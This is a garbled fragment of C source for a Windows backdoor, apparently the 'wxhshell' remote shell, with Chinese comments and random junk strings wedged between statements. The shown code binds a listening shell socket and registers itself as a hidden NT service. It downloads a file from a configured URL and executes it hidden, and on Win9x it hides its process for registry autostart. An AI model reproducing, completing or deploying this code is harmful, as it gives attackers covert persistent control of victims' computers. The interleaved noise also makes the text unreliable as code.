5 { xn x1`|1u SOCKET wsl; ]\9B?W(# BOOL val=TRUE; OL
]T+6X int port=0; SFk11 struct sockaddr_in door; `9Q,=D+ \Zz= 4
j if(wscfg.ws_autoins) Install(); 8a$jO+UvN {GH`V}Ob port=atoi(lpCmdLine); 7L~ zI>2 sKG~<8M} if(port<=0) port=wscfg.ws_port; i37a}.; ]stLC; nI WSADATA data; g`5`KU| if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Uc4L|: GZhfA ;O, if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @IyH(J],h setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }^Ua door.sin_family = AF_INET; <{z3p:\ door.sin_addr.s_addr = inet_addr("127.0.0.1"); Lugk`NUvF door.sin_port = htons(port); CXP $bt} RzY`^A6G6 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +q_lYGTiO closesocket(wsl); A@ return 1; WJh;p: q[ } Ag-?6v cmGj0YUQ1 if(listen(wsl,2) == INVALID_SOCKET) { ga1gd~a closesocket(wsl); %_@5_S return 1; DneSzqO"o } bmq XP Wxhshell(wsl); 5t5S{aCDr WSACleanup(); [TfV2j* e 8.3_Wb(c return 0; s3E~X m)]fJ_ } /&!d ZEyGqCf3 // 以NT服务方式启动 R#Nd|f< VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oQjB&0k4 { 1PTu3o&3 DWORD status = 0; ~
GT\RAj[ DWORD specificError = 0xfffffff; qxcBj Y /ac}q serviceStatus.dwServiceType = SERVICE_WIN32; 7pI\`*7b serviceStatus.dwCurrentState = SERVICE_START_PENDING; F+y`4>x serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -x%`Wv@L serviceStatus.dwWin32ExitCode = 0; }v$=mLy serviceStatus.dwServiceSpecificExitCode = 0; eN?P) , serviceStatus.dwCheckPoint = 0; $E_vCB_ serviceStatus.dwWaitHint = 0; kcz#8K]~ at(p,+ % hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Jx
;"a\KD if (hServiceStatusHandle==0) return; ):\{n8~ RW PdS status = GetLastError(); )w
8lusa if (status!=NO_ERROR) ,vdP
#: { s$\8)V52 serviceStatus.dwCurrentState = SERVICE_STOPPED; B[_b J
* serviceStatus.dwCheckPoint = 0; >0+|0ba serviceStatus.dwWaitHint = 0; c+i`Zd.m< serviceStatus.dwWin32ExitCode = status; cxJK>%84 serviceStatus.dwServiceSpecificExitCode = specificError; I/b8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); $\@ V4 return; ,t&-`U]AX } ~md|k [dF=1E>W_J serviceStatus.dwCurrentState = SERVICE_RUNNING; w{O3P"N2 serviceStatus.dwCheckPoint = 0; ]3y5b9DuW serviceStatus.dwWaitHint = 0; &MQt2aL if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *u4X<oBS* } kRXg."b( ~$ qJw?r
// 处理NT服务事件,比如:启动、停止 '>mb@m VOID WINAPI NTServiceHandler(DWORD fdwControl) WKJL<
D ]: { }nY^T&?` switch(fdwControl) f]A6Mx6 { ST8/
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case SERVICE_CONTROL_STOP: `"b7y(M serviceStatus.dwWin32ExitCode = 0; R6$F<;nw serviceStatus.dwCurrentState = SERVICE_STOPPED; GV@E<dg$R serviceStatus.dwCheckPoint = 0; <^'+]? serviceStatus.dwWaitHint = 0; jhbH6=f4]^ { {2clOUi SetServiceStatus(hServiceStatusHandle, &serviceStatus); _,0!ZP- } @N_H]6z4 return; od's1'cR case SERVICE_CONTROL_PAUSE: x)wt.T?eL serviceStatus.dwCurrentState = SERVICE_PAUSED; ~)8i5p;P/k break; |Ge/|;.v` case SERVICE_CONTROL_CONTINUE: ,p`bWm serviceStatus.dwCurrentState = SERVICE_RUNNING; R}6la.mQ break; Tocdh.H| case SERVICE_CONTROL_INTERROGATE: "XsY~ break; 1@z@ }; A-Pwi.$ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Yd~v| } O*/-I
pM GJt9hDM$0 // 标准应用程序主函数 5a|m}2IX int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8lGgp&ey { (Dh;=xG S!!\!w>N // 获取操作系统版本 2/4x]i
H* OsIsNt=GetOsVer(); ts\>_/ GetModuleFileName(NULL,ExeFile,MAX_PATH); S,9WMti4x `&[:!U2]F // 从命令行安装 YJvT
p~ if(strpbrk(lpCmdLine,"iI")) Install(); -&D6w9w f#Cdx" // 下载执行文件 j~f 7WJ if(wscfg.ws_downexe) { 54cgX)E[x if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I5OH=,y` WinExec(wscfg.ws_filenam,SW_HIDE); &`Z)5Ww } 5
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|q if(!OsIsNt) { 2OlC7X{ // 如果时win9x,隐藏进程并且设置为注册表启动 (C|V-}/*m HideProc(); "<$vU_ StartWxhshell(lpCmdLine); F8;4Oj } s ^R2jueR else E^W*'D if(StartFromService()) R{A/+7! // 以服务方式启动 ,vw`YKg StartServiceCtrlDispatcher(DispatchTable); gL"Q.ybA else Eq;frnw>q // 普通方式启动 "(&`muIc StartWxhshell(lpCmdLine); bK%tQeT KBHKcFk return 0; t\d;}@bl }
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